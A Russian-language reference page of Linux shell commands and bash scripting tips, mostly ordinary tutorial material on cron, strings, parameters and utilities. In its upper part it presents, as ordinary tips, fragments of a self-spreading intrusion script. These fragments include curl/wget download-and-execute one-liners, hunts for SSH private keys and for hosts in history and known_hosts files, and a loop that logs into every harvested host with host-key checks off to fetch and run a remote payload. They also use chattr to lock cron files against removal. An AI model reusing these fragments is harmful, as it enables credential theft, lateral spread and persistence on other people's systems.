Полезные команды и скрипты Linux

Полезные команды и скрипты Linux

    Добавление переменныx в окружение
    SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin
    ulimit

    С помощью утилиты ulimit можно посмотреть или установить максимально допустимые параметры системы

    ~$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 63135 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 63135 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited
    Выключение по расписанию
    shutdown -h 19:30 [сообщение] Перезагрузк по расписанию sleep 5 ; reboot
    Посчитать кол-во ядер
    t@x:~$ nproc 4 t@x:~$ grep processor /proc/cpuinfo processor : 0 processor : 1 processor : 2 processor : 3 t@x:~$ grep -c processor /proc/cpuinfo 4 t@x:~$
    Загрузка файла с сервера и его выполнение

    С помощью curl

    curl -fsSL http://netbash.ru/test

    С помощью wget

    wget -q -O- http://netbash.ru/test

    С помощью python

    python2 -c 'import urllib2 as fbi;print fbi.urlopen("http://netbash.ru/test").read()'
    Загрузка и выполнение скрипта

    Первый вариант:

    curl -fsSL http://netbash.ru/test || wget -q -O- http://netbash.ru/test | bash -sh

    Второй вариант (загрузка, выполнение, удаление):

    lwp-download http://netbash.ru/test /tmp/test; bash /tmp/test; /tmp/test; rm -rf /tmp/test

    Один из способов получить рандомное число от 0 до 255, что сопотавимо с диапазоном октета IP адреса:

    $ rand=$(seq 0 255 | sort -R | head -n1)
    Узнать префикс подсети
    path=$(which ifconfig); ~$ if [ -s "$path" ]; then range=$(ifconfig | grep -i "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1); fi; echo $range 192.168

    grep "BROADCAST\|inet" - ищет строки со словом BROADCAST или со словом inet


    grep -o, -только-совпадение Выводите только совпадающие (непустые) части совпадающей строки, причем каждая такая часть выводится в отдельной выходной строке.
    grep -P, --perl-регулярное выражение. Интерпретируйте шаблон как регулярное выражение, совместимое с Perl (PCRE).
    grep -v, --инвертировать-совпадение. Иными словами, если совпадение найдено, нужно убрать его из результата
    Дополнительно в ветвлении else можно добавить команду ip -a

    Статус ping в переменной
    if [ $(ping -c 1 netbash.ru 2>/dev/null | grep "bytes from" | wc -l ) -gt '0' ]; then dns=""; else dns="-d"; fi

    Если связи к серверу нет, тогда значение переменной определяется как -d, потом эта переменная может использоваться по назначению
    Проверка статуса соединения и выполнения соответствующего действия:

    ~$ if [ ! "$(netstat -ant | grep '127.0.0.1:6379\|127.0.0.1:33975'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ] > then > echo "not" > else > echo "yes" > fi yes
    Проверка состояния cron
    systemctl is-active cron systemctl is-active crond
    Вывод заданий cron для текущего пользователя
    crontab -l
    Удаление заданий cron для текущего пользователя
    crontab -r
    Добавить запись в cron для текущего пользователя
    echo "* * * * * echo 'test'" | crontab -
    Проверка наличия записи в cron
    crontab -l | grep -q "$url\|209.141.40.190"
    Поиск файлов в нескольких дирректориях
    # find ~/ /root /home -maxdepth 3 -name 'id_rsa*'
    Поиск файлов в нескольких директриях за исключением
    # find ~/ /root /home -maxdepth 6 -name 'id_rsa*' | grep -vw pub
    Вывод содержимого файлов и поиск в них совпадений
    cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }'
    Поиск файла по шаблону в нескольких директориях, сортировка
    find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq
    Вывод содержимого из файлов, если они есть и поиск строки с именем хоста, вывод хоста
    cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
    Вывод содержимого файлов history и поиск в них команды, вывод ip команды
    cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
    Поиск доверенных хостов
    icat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq
    Поиск в нескольких директориях директории .ssh, вывод файлов в этой директории и поиск среди них id_rsa, вывод имени пользователя файла
    find ~/ /root /home -maxdepth 3 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh" userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)

    Пример использования:
    Собираются ключи ssh
    Имена хостов
    Имена пользователей
    Сортировка

    Попытка подключения и запуск команды на доверенных удаленных хостах
    KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub) KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }') KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq) HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}') HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}") HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq) USERZ=$( echo "root" find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh" ) userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) for user in $userlist; do for host in $hostlist; do for key in $keylist; do chmod +r $key; chmod 400 $key ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" done done done
    Запрет на удаление файлов
    chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
    Изменение вывода содержимого файла
    #Добавление номеров строк при выводе файлов awk '{print NR": "$0}' < file #Изменение ширины текста с помощью команды fmt while read input; do if [ ${#input} -gt 10 ] ; then echo "$input"|fmt -w 100; fi; done < test
    Операции со строками
    #Узнать длину строки line='kjlklk' t@x:~$ echo ${#line} # Вывести имена всех пользователей из файла /etc/passwd, id которых больше 99 cut -d: -f1,3 /etc/passwd | awk -F: '$2 > 99 {print $1}'
    Подсчет суммы
    #Подсчет размера всех файлов в директории #!/bin/bash #-xdev не переходить по каталогам в других файловых системах # Все системные пользователи находятся в пределах 100 for name in $(cut -d: -f1,3 /etc/passwd | awk -F: '$2 > 99 {print $1}'); do find /home/t/bash_scripts -xdev -type f -user $name -ls | \ awk '{sum+=$7} END {print sum / (1024*1024)}' done
    Создание временного сценария
    tempfile="/tmp/available.$$" trap "rm -f $tempfile" EXIT t@x:~/bash_scripts/myscripts/allscripts$ cat << 'EOF' > $tempfile > { sum += $4 } > END printf sum > EOF
    Убить все процессы пользователя
    ps -u postgres | awk '{print $1}' | sed 's/[[:alpha:]]//g' | xargs kill -9
    Заблокировать директорию пользователя
    chmod 000 $homedir/$1
    Проверка переменной
    if [ -f ${test:?"Yes"} ] ; then echo "file"; fi
    Обработка сигналов с помощью trap

    Синтаксис: trap ДЕЙСТВИЕ СИГНАЛ...

    trap "/bin/rm -f $HOME/.backup" EXIT
    Форматы времени
    man strftime
    Подключение ftp
    ftp -np << EOF open $server user ftp $anonpass get "$filename" "$basefile" quit EOF
    Использование trap
    trap "$(which rm) -f $tmpchanges" 0 1 15 # Удалить временный файл при выходе.
    Отправка письма с помощью sendmail
    (cat << EOF Subject: $(date) From: Tolik Content-type: text/html To: 89261969132@mail.ru EOF curl https://netbash.ru; ) | sendmail -t
    Запись скрипта в файл
    cat << "EOF" > /tmp/test echo "test" EOF
    Удалить Строчные и заглавные буквы, а также цифры
    echo 'Test123*.' |tr -d '[[:upper:][:lower:][:digit:]]'
    Перечислить все файлы в текущем каталоге
    for filename in *
    Перечисление пакетов из списка и их удаление
    for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
    Использование псевдонима для длинных команд
    #Вывод всех алиасов alias #Создание псевдонима alias net='netstat -npltu | grep 80'
    Получение идентификаторов всех процессов принадлежащих пользователю chich
    ps -aux | awk '{if ( $1 == "chich") print $2}' ps -aux | grep 202986
    unset

    С помощью unset можно удалить переменную или вывести список существующих переменных

    ~$ unset Display all 107 possibilities? (y or n) _ CLUTTER_BACKEND GROUPS LINES PS2 VTE_VERSION _backup_glob COLORTERM GTK3_MODULES LOGNAME PS4 WINDOWID BASH COLUMNS GTK_MODULES LS_COLORS PWD XAUTHORITY BASH_ALIASES COMPIZ_CONFIG_PROFILE GTK_OVERLAY_SCROLLING MACHTYPE QT_ACCESSIBILITY XDG_CONFIG_DIRS BASH_ARGC COMP_WORDBREAKS HISTCMD MAILCHECK QT_FONT_DPI XDG_CURRENT_DESKTOP BASH_ARGV DBUS_SESSION_BUS_ADDRESS HISTCONTROL MANDATORY_PATH QT_QPA_PLATFORMTHEME XDG_DATA_DIRS BASH_ARGV0 DEFAULTS_PATH HISTFILE MATE_DESKTOP_SESSION_ID QT_SCALE_FACTOR XDG_GREETER_DATA_DIR BASH_CMDS DESKTOP_SESSION HISTFILESIZE new_dirs RANDOM XDG_RUNTIME_DIR BASH_COMMAND DIRSTACK HISTSIZE OLDPWD SECONDS XDG_SEAT BASH_COMPLETION_VERSINFO DISPLAY HOME OPTERR SESSION_MANAGER XDG_SEAT_PATH BASH_LINENO EPOCHREALTIME HOSTNAME OPTIND SHELL XDG_SESSION_CLASS BASHOPTS EPOCHSECONDS HOSTTYPE OSTYPE SHELLOPTS XDG_SESSION_DESKTOP BASHPID EUID IFS PATH SHLVL XDG_SESSION_ID BASH_REMATCH GDM_LANG LANG PGDATA SRANDOM XDG_SESSION_PATH BASH_SOURCE GDMSESSION LANGUAGE PIPESTATUS SSH_AUTH_SOCK XDG_SESSION_TYPE BASH_SUBSHELL __git_printf_supports_v LESSCLOSE PPID TERM XDG_VTNR BASH_VERSINFO GPG_AGENT_INFO LESSOPEN PROMPT_COMMAND UID _xspecs BASH_VERSION greeting LINENO PS1 USER
    Создать переменную окружения
    #Чтобы сделать переменную доступной для подпроцессов, превратите ее из локальной в переменную окружения. $ greeting=hello $ export greeting
    Показать время в определенной тайм зоне
    TZ=Europe/Moscow date
    Запуск команды в подпроцессе
    greeting='hello' bash -c 'echo $greeting world'
    Где хранится справочная информация?
    /usr/share/doc/
    Пользователи и их действия

    Чтобы увидеть чем в настоящий момент занимаются пользователи системы попробуй выполнить команду w
    Кроме прочего можно увидеть во сколько пользователь вошел в систему и WHAT он делает в настоящий момент, JCPU и PCPU отображают нагрузку на систему
    Подобную информацию можно увидеть в выводе команды top, если речь идет о кол-ве пользователей и нагрузке на систему

    Несколько полезных опций команды ls
    #3 последних измененных файла в обратном порядке ls -lrt | tail -n 3 #Сортировка по расширению файла ls -lX Загрузки/ #Сортировка по размеру файла ls -lSh Загрузки/
    readlink

    Возвращает имя файла, на который указывает символическая ссылка

    strings

    Используется для поиска читаемых строк в двоичных файлах

    basename dirname

    Конструкция basename $0 -- позволяет сценарию узнать свое имя, то есть имя файла, который был запущен
    dirname - Отсекает basename от полного имени файла и выводит только путь к файлу

    sum, cksum, md5sum

    Эти утилиты предназначены для вычисления контрольных сумм

    Ctrl+U

    Очистить строку ввода

    $IFS

    Специальная переменная которая содержит разделитель, по умолчанию символ пробела

    shred

    Надежное, с точки зрения безопасности, стирание файла, посредством предварительной, многократной записи в файл случайной информации, перед тем как удалить его

    Кодирование и шифрование

    uuencode - Эта утилита используется для кодирования двоичных файлов в символы ASCII, после такого кодирования файлы могут, с достаточной степенью безопасности, передаваться по сети, вкладываться в электронные письма и т.п..
    uudecode - Утилита декодирования файлов, прошедших обработку утилитой uuencode

    mktemp

    Создает временный файл с "уникальным" именем

    Использование в скрипте значения по умолчанию

    Если при вызове исполняемого файла не задано, будет использовано значение по умолчанию

    #Пример #!/bin/bash BACKUPFILE=backup archive=${1:-$BACKUPFILE} echo $archive #Вызов скрипта ~$ ./file1.sh backup ~$ ./file1.sh test test
    Проверка наличия позиционного параметра
    variable1=$1; if [ -z $1 ] then echo "Укажите параметр" exit $POS_PARAMS_ERR fi
    shift

    shift при каждом обращении в скрипте сдвигает аргументы на одну позицию влево, при этом аргумент $0 остается без изменений, но теряется аргумент $1
    shift также может применяться к входным аргументам функции

    until [ -z $1 ] do echo "$1"; shift done
    Перенос в командной строке
    #escape-символ позволяет писать многострочные команды ~# touch test1 \ > rm test1 #в качестве альтернативы можно использовать конвеер ~# touch test1 | > rm test1 #Использование кавычек echo "foo bar" #foo #bar echo echo 'foo bar' # Никаких различий. #foo #bar echo foo\ bar # Перевод строки экранирован. #foobar # echo "foo\ bar" # Внутри "нестрогих" кавычек символ "\" # интерпретируется как экранирующий. echo 'foo\ bar' # В "строгих" кавычках обратный слеш воспринимается как # обычный символ. #foo\ #bar
    Арифметические операторы

    +
    -
    *
    /
    ** - возведение в степень
    % - модуль (деление по модулю)

    #Возведение в степень ~$ let "z=5**2" ~$ echo $z 25 #Деление по модулю ~$ echo `expr 5 % 3` 2 n=1; echo -n "$n " #Допустимо так let "n = n + 1" #Или так let "n = $n + 1" #В данном случае двоеточие обязательно, в противном случае выражение будет интерпретироваться как команда : $((n = $n + 1 )) ~$ n=$(($n + 1)) ~$ echo $n 10
    Запись в лог последнего запущенного фонового процесса

    #!/bin/bash echo "Для запуска сценария был вызван $_" LOG=bash.log COMMAND1="sleep 5" echo "Запись в лог всех PID фоновых процессов, запущенных из сценария:" #Добавить в лог имя файла скрипта echo $0 >> "$LOG" echo >> "$LOG" #Добавить в лог строку echo -n "PID of \"$COMMAND1\": " >> "$LOG" # ${COMMAND1} & ${COMMAND1} & ${COMMAND1} & echo $! >> "$LOG" echo "Код возврата команды $?" #Переменная $$ может использоваться для генерации уникальных имен временных файлов echo "PID процесса-сценария $$"
    Длина строки
    str1=abcABC123 #Способ 1 echo ${#str1} #Способ 2 expr length $str1 #Способ 3 echo `expr "$str1" : '.*'` #!/bin/bash #Вставка пустых строк между параграфами в текстовом файле MINLEN=40 while read line #Построчное чтение файла do echo "$line" #Вывод строки len=${#line} #Строки, содержащие количество символов меньшее, чем $MINLEN принимаются за последнюю строку параграфа if [ "$len" -lt "$MINLEN" ] then echo #Добавление пустой строки fi done exit 0
    Длина подстроки в строке
    #expr match "$string" '$substring' #где где $substring -- регулярное выражение #Или #expr "$string" : '$substring' #Где $substring -- регулярное выражение. echo `expr "$str1" : '[0-9]*'` #Номер позиции первого совпадения в строке echo `expr index "$str1" 123`
    Извлечение подстроки

    ${string:position}
    Извлекает подстроку из $string начиная с позиции $position

    ${string:position:length}
    Извлекает подстроку длинной length из строки string начиная с определенной позиции position

    str1=abc123ABC456def echo ${str1:4} #23ABC456def echo ${str1:3:3} #123 #Извлечение последних 3 символов из строки echo ${str1:(-3)} #def #Вывод аргументов #Вывод 2-го и последующих аргументов #!/bin/bash echo ${*:2} echo ${*:2} #Вывод двух аргументов, начиная со второго echo ${*:2:2} #Тоже самое, используя @ echo ${@:2:2} ./test.sh раз два три четыре два три четыре два три два три

    expr substr $string $position $length
    Извлекает $length символов из $string, начиная с позиции $position.

    str1=123abcABC456def echo `expr substr $str1 4 3` echo `expr match $str1 '\(.*[A-Z]\)'` 123abcABC #Или echo `expr "$str1" : '\(.*[A-Z]\)'` 123abcABC
    Удаление подстроки из строки
    #${string#substring} #Удалить первое короткое совпадение #${string##substring} #Удалить от и до учитывая всю длину строки #Удаление подстроки substring из строки string var1=abcd12345abc6789 pattern1=a*c echo ${var1#$pattern1} # d12345abc6789 echo ${var1##$pattern1} # 6789
    Замена подстроки
    #Пример1 Если построка замены отсутствует, найденное совпадение будет удалено var1=abcd12345abc6789 echo ${var1/abc/cde} cded12345abc6789 #Пример2 Замена всех совпадений echo ${var1//abc/cde} cded12345cde6789
    Поиск переменных по шаблону
    #Найти переменные которые начинаются с var var1=10 var2=20 var3=30 var=${!var*} echo $var var var1 var2 var3
    Подоболочки Subshells

    Запуск сценария приводит к запуску дочернего командного интерпретатора, который выполняет список команд в файле сценария
    Сценарий запускается как дочерний процесс родительской оболочки
    Сценарий в свою очередь может запустить свой дочерний процесс в своей подоболочке. Это позволяет сценарию распараллелить процесс обработки данных по нескольким задачам, исполняемых одновременно


    Список команд в круглых скобках исполняется в подоболочке
    ( command1; command2; command3; ... )
    Значения переменных, определенных в дочерней оболочке, не могут быть переданы родительской оболочке и ведут себя как локальные переменные

    Использование регулярных выражений

    * - ничего или любое кол-во любых символов ( ls file* )
    . - не менее одного любого символа, за исключением символа перевода строки (\n)
    ^ - в зависимости от контекста означает отрицание или начало строки
    ^$ - пустая строка
    $ - конец строки
    [...] - один символ из подмножества в скобках
    [x-y] - один символ из диапазона
    [a-b0-9] - один символ из двух диапазонов
    [^0-9] - любой символ, кроме символов из диапазона
    [Yy][Ee][Ss] - шаблон соответсвует слову yes
    \ - обратный слэш экранирует специальные символы
    \<...\> - экранированные угловые скобки обозначают границы слова
    Например выражение "\" соответствует слову "the", и не соответствует словам "them"
    ? - заданный символ встречается ноль или один раз
    + - заданный символ встречаетс один или любое число раз
    \{..\} - фигурные скобки задают число вхождений предыдущего выражения
    Экранирование фигурных скобок -- обязательное условие, иначе они будут интерпретироваться как простые символы
    (.....) - круглые скобки предназначены для выделения групп регулярных выражений, полезны при использовании с оператором "|", при извлечении подстроки с помощью команды expr
    | - вертикальна черта выполняет роль логического оператора "ИЛИ" в регулярных выражениях и служит для задания набора альтернатив

    egrep 're(a|e)d' test
    dump

    Команда dump создает резервные копии целых файловых систем, она считывает дисковые разделы и сохраняет их в файле, в двоичном формате
    Команда restore -- "разворачивает" файлы, созданные утилитой dump

    lsmod insmod rmmond modprobe depmode

    lsmod - Выводит список загруженных модулей
    insmod - принудительная загрузка модуля ядра
    rmmond - выгружает модуль ядра
    modprobe - загрузчик модулей
    depmode - создает файл зависимостей между модулями, обычно вызывается из сценариев начальной загрузки системы

    env

    Запускает команду или сценарий с модифицированными переменными окружения
    Без параметров просто выводит список переменных окружения

    watch

    Периодически запускает указанную программу с заданным интервалом времени ( по умолчанию 2 сек. )

    watch -n 1 free -m
    sync

    Принудительный сброс содержимого буферов на жесткий диск
    В былые дни, команда sync; sync (дважды - для абсолютной уверенности) была упреждающей мерой перед перезагрузкой системы.

    chroot

    Изменяет корневой каталог по умолчанию. Эта утилита используется с целью защиты системы, например можно ограничить доступ к разделам файловой системы для пользователей для пользователей подключившихся к системе с помощью telnet ( поместить пользователя в chroot окружение ), однако после данной операции изменяется путь к выполняемым командам
    Команда chroot /opt приведет к тому, что все обращения к каталогу /usr/bin будут переводиться на каталог /opt/usr/bin

    init

    init -- предок (родитель) всех процессов в системе. Вызывается на последнем этапе загрузки системы и определяет уровень загрузки (runlevel) из файла /etc/inittab.
    telinit - Символическая ссылка на init - инструмент для смены уровня загрузки (runlevel)
    Как правило используется при обслуживании системы или восстановлении файловой системы
    Может быть очень опасна, при неумелом обращении

    runlevel

    runlevel - Выводит предыдущий и текущий уровни загрузки (runlevel), из файла /var/run/utmp

    mount

    /etc/mtab содержит список смонтированных файловых систем и разделов включая виртуальные, такие как /proc
    mount -a -- монтирует все (all) файловые системы и разделы, перечисленные в /etc/fstab, за исключением тех, которые имеют флаг noauto. Эту команду можно встретить в сценариях начальной загрузки системы из /etc/rc.d
    Перед тем как физически вынуть компакт-диск или дискету из устройства, это устройство должно быть отмонтировано командой umount, иначе файловая система может оказаться поврежденной

    top

    С ключом -b -- отображение ведется в обычном текстовом режиме, что дает возможность анализа вывода от команды внутри сценария

    nohup

    Запуск команд в режиме игнорирования сигналов прерывания и завершения
    Если вы собираетесь использовать nohup в сценариях, то вам потребуется использовать его в связке с командой wait, чтобы не породить процесс "зомби"

    tty

    Выводит имя терминала текущего пользователя

    stty

    Выводит и/или изменяет настройки терминала. Эта сложная команда используется в сценариях для управления поведением терминала

    arch

    Выводит тип аппаратной платформы компьютера
    Эквивалент команды uname -m

    logger

    Добавляет в системный журнал (/var/log/messages) сообщение от пользователя
    logger -t $0 -i Logging at line "$LINENO"
    # Ключ "-t" задает тэг записи в журнале
    # Ключ "-i" -- записывает ID процесса

    id

    Выводит uid и guid текущего или указанного пользователя

    su sudo

    Команда предназначена для запуска сценария от имени другого пользователя

    #Смена пользователя su mega #Смена на root su #Запуск от имени root sudo nginx -t #Запуск от имени другого пользователя sudo -u www-data php82 test.php
    objdump

    Отображает содержимое исполняемого или объектного файла либо в шестнадцатиричной форме, либо в виде дизассемблерного листинга (с ключом -d)

    objdump -d /bin/ls
    mcookie

    Создает псевдослучайные шестнадцатиричные 128-битные числа, обычно используется X-сервером в качестве "сигнатуры" авторизации. Может использоваться как генератор случайных чисел

    users

    Выведет список всех зарегистрировавшихся пользователей, является эквивалентом команды who -q

    groups

    Выводит список групп, в состав которых входит текущий пользователь, соответствует внутренней переменной $GROUPS, но выводит названия групп, а не их числовые идентификаторы

    rlogin

    Remote login - инициирует сессию с удаленной системой. Эта команда небезопасна, вместо нее лучше использовать ssh

    rsh

    Исполняет команду на удаленной системе. Эта команда небезопасна, вместо нее лучше использовать ssh

    rcp

    Копирование файлов между двумя машинами через сеть
    Небезопасно

    hexdump

    Выводит дамп двоичных данных из файла

    host

    Возвращает информацию об узле интернета

    host -a netbash.ru
    ipcalc

    Производит поиск IP адреса и информацию об узле

    whois

    Предоставляет информацию о домене

    finger

    Предоставляет информацию о пользователях в сети

    iconv

    Утилита преобразования текста из одной кодировки в другую
    recode - разновидность утилиты iconv

    groff,tbl, eqn

    groff - язык разметки и форматирования вывода, является расширением roff/troff
    tbl - утилита обработки таблиц, должна рассматриваться как составная часть groff, так как ее задачей является преобразование таблиц в команды groff
    eqn - утилита преобразования математических выражений в команды groff

    lex, yacc

    lex - утилита лексического разбора текста. В linux заменена на утилиту flex
    yacc - утилита для создания синтаксических анализаторов, на основе набора грамматик, задаваемых разработчиком. В linux заменена на bison

    dos2unix

    Предназаначена для преобразования текстовых файлов из формата DOS в формат Linux

    Форматирование по столбцам

    column - преобразует текст, вставляя символы табуляции по мере необходимости
    Удаляет колонки (столбцы) сиволов из файла и выводит результат
    nl - нумерует строки в файле

    echo "Hello world" | column -t #Нумерация строк ls -l | nl
    Использование wc
    #Подсчет количества символов самой длинной строки в файле wc -L file.txt #Подсчет количества .txt-файлов ls *.txt | wc -l #Подсчет символов, слов и строк в файлах, названия которых начинаются с символа из диапазона от a до b wc bash_scripts/banip/[a-b]*
    rev

    Выводит содержимое файла в обратном порядке, начиная с последнего символа

    Проверка ввода с подавлением вывода и проверкой кода
    for username in $@ do echo $username | grep "^[A-Za-z]*$" > /dev/null if [ $? -eq 1 ] then echo "ERROR: Names must only contains letters." exit 2 else echo "Hello $username!" fi
    tac

    Выводит строки файла в обратном порядке

    Проверка что пользователь является root

    ROOT_UID=0 # Только пользователь с $UID = 0 имеет привилегии root. E_NOTROOT=65 E_NOPARAMS=66 if [ "$UID" -ne "$ROOT_UID" ] then echo "Для запуска этого сценария вы должны обладать привилегиями root." exit $E_NOTROOT fi
    suspend

    Действует аналогично нажатию комбинаций клавиш ctrl+z, приостанавливает работу командной оболочки

    logout

    Завершает процесс работы командной оболочки, если нет фоновых процессов

    times

    Выдает статистику выполнения команд в еденицах системного времени

    times ls -la /usr/bin/
    Значение по умолчанию

    echo ${var-default} Если параметр отсутствует, будет использоваться значение по умолчанию
    Параметры по-умолчанию находят применение в случаях, когда сценарию необходимы какие либо входные аргументы, передаваемые из командной строки, но такие аргументы не были переданы
    DEFAULT_FILENAME=generic.data
    filename=${1:-$DEFAULT_FILENAME}

    #Например test=123 echo ${test-`whoami`} 123 unset test echo $test-`whoami`} chich

    ${parameter=default}, ${parameter:=default}
    Если значения параметров не заданы явно, то применяются значения по умолчанию
    Символ : имеет значение только когда $parameter был инициализирован "пустым" (null) значением

    ${parameter+alt_value}, ${parameter:+alt_value}
    Если параметр имеет какое либо значение, то используется alt_value, иначе -- null ("пустая" строка)
    Символ : имеет значение только если parameter объявлен и "пустой"
    test=12345 echo ${test-`whoami`} 12345 unset test echo $test echo ${test-`whoami`} chich echo $test echo ${param1+xyz} param2= echo ${param2+xyz} xyz param3=12345 echo ${param3+xyz} xyz echo ${param4:+xyz} param5= echo ${param5:+xyz}

    ${parameter?err_msg}, ${parameter:?err_msg}
    Если parameter инициализирован, то используется его значение, в противном случае -- выводится err_msg
    Символ : имеет значение только когда parameter инициализирован "пустым" значением

    : ${HOSTNAME?} ${USER?} ${HOME?} ${MAIL?} # echo ${testvar?"Переменная не инициализирована"} -bash: testvar: Переменная не инициализирована testvar="Переменная инициализирована" echo ${testvar?"Переменная не инициализирована"} Переменная инициализирована
    Длина перменной

    #Число симолов в переменной ${#var}
    #Число элементов в массиве ${#array}
    #Кол-во элементов ( позиционных параметров ) ${#*} ${#@} #Для массивов ( кол-во элементов в массиве ) ${#array[*]} ${#array[@]}

    #Длина строки str1=abcdEFGH28ij echo ${#str1} 12 #Проверка наличия параметров #!/bin/bash if [ $# -eq 0 ] then echo "Введите хотя бы один параметр" fi
    Генерация случайных чисел

    В linux существует функция $RANDOM при обращении к которой генерируется случайное число

    #Пример1 echo $RANDOM 5263
    Присвоение целочисленных переменных в стиле языка C

    (( a = 123 )) (( a++ )) (( --a ))
    env

    Команда env выводит все переменные среды

    Добавление каталога в переменную PATH

    Какая команда объединит текущее значение PATH с новым каталогом ~/scripts?

    PATH=$PATH:~/scripts
    read

    Если команде read не была передано ни одной переменной, то ввод будет осуществлен в переменную $REPLY
    -s -- подавляет эхо-вывод, т.е. ввод с клавиатуры, ввод с клавиатуры не отображается на экране
    -n N -- ввод завершается автоматически, сразу же после ввода N-го символа
    -p -- задает вид строки подсказки - приглашения к вводу (prompt)
    Использование этих ключей немного осложняется тем, что они должны следовать в определенном порядке
    -t позволяет ограничивать время ожидания ввода командой read
    Команда read может считывать значения для переменных из файла, перенаправленного на stdin. Если файл содержит не одну строку, то переменной будет присвоена только первая строка. Если команде read будет передано несколько переменных, то первая строка файла будет разбита, по пробелам, на несколько подстрок, каждая из которых будет записана в свою переменную

    # Чтение данных, не дожидаясь нажатия на клавишу ENTER read -s -n1 -p "Нажмите " echo $REPLY
    exit

    Использование exit немедленно завершит работу скрипта, поэтому следующие за exit строки никогда не выполнятся
    Код exit может возвращать 0 в случае успешного выполнения или любое другое целое число, которое может ассоциироваться с ошибкой

    pushd, popd, dirs

    pushd dir-name -- помещает имя текущего каталога в стек и осуществляет переход в каталог dir-name
    popd -- выталкивает, находящееся на вершине стека, имя каталога и одновременно осуществляет переход в каталог, оказавшийся на врешине стека
    dirs -- выводит содержимое стека каталогов (сравните с переменной $DIRSTACK)

    let
    let a=11 let a=a+5 # То же, что и 'a=11' # Эквивалентно "a = a + 5" # (Двойные кавычки и дополнительные # пробелы делают код более удобочитаемым) echo "11 + 5 = $a" let "a <<= 3" # Эквивалентно let "a = a << 3" echo "\"\$a\" (=16) после сдвига влево на 3 разряда = $a" let "a /= 4" # Эквивалентно let "a = a / 4" echo "128 / 4 = $a" let "a -= 5" # Эквивалентно let "a = a - 5" echo "32 - 5 = $a" let "a = a * 10" # Эквивалентно let "a = a * 10" echo "27 * 10 = $a" let "a %= 8" # Эквивалентно let "a = a % 8" echo "270 mod 8 = $a (270 / 8 = 33, остаток = $a)"
    eval

    Транслирует список аргументов, из списка, в команды

    #Простой пример y=`eval ls -l` #Принудительное завершение сеанса y=`eval ps ax | sed -n '/ppp/p' | awk '{ print $1 }'` kill -9 $y
    source и exec

    source - может найти применение в ситуациях, когда несколько сценариев пользуются одним файлом с данными или библиотекой функций
    exec - это встроенная команда интерпретатора shell заменяет текущий процесс новым процессом, запускаемый командой exec
    Командный интерпретатор встречает эту команду, то он порождает дочерний процесс, чтобы исполнить команду
    При использовании использовании exec, оболочка не порождает еще один процесс, а заменяет текущий процесс другим. Для сценарий это значит его завершение сразу после выполнения команды exec, т.е. это будет последняя команда в сценарии

    #!/bin/bash exec echo "Завершение" echo "Не будет выполнено"
    type

    Похожа на команду which, выводит полный путь к исполняемому файлу команды

    #Определит путь к внутренней и внешней команде bash type -a bash bash является /usr/bin/bash bash является /bin/bash
    Проверить систему инициализации
    ps -s1| awk '{print $4}'| grep -Ev "CMD"
    Источники
    Последнее изменение: 09.10.2024 00:09


    Связанные темы

    Команда exec linux

    Использование команды tee в Linux

    Язык shell в Linux

    Библиотеки Linux

    Использование md5sum

    Использование wget и curl в Linux

    Команда chattr и lsattr в Linux

    Использование awk Linux Alpine

    Использование sed в Linux

    Применение getopt в Linux

    Переменные окружения в Linux

    Блокировка пользователя в Linux

    Классы символов в Linux

    Использование tar в Linux

